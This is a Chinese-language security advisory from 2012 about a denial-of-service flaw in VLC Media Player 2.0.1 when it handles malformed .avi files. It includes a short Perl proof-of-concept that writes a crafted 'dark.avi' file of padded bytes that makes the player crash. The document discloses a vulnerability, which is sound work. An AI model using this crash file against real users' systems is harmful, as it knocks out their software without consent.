发布日期：2012-06-28
更新日期：2012-06-29
受影响系统：
VideoLAN VLC Media Player 2.0.1
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 54208
VLC Media Player是多媒体播放器（最初命名为VideoLAN客户端）是VideoLAN计划的多媒体播放器。
VideoLAN VLC Media Player 2.0.1在处理畸形.avi文件时存在远程拒绝服务漏洞，可导致受影响应用崩溃。
<*来源：Dark-Puzzle
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/perl
my $h ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $d = "\x41" x 500429 ;
my $file = "dark.avi";
open ($File, ">$file");
print $File $h,$d;
close ($File);
建议：
--------------------------------------------------------------------------------
厂商补丁：
VideoLAN
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：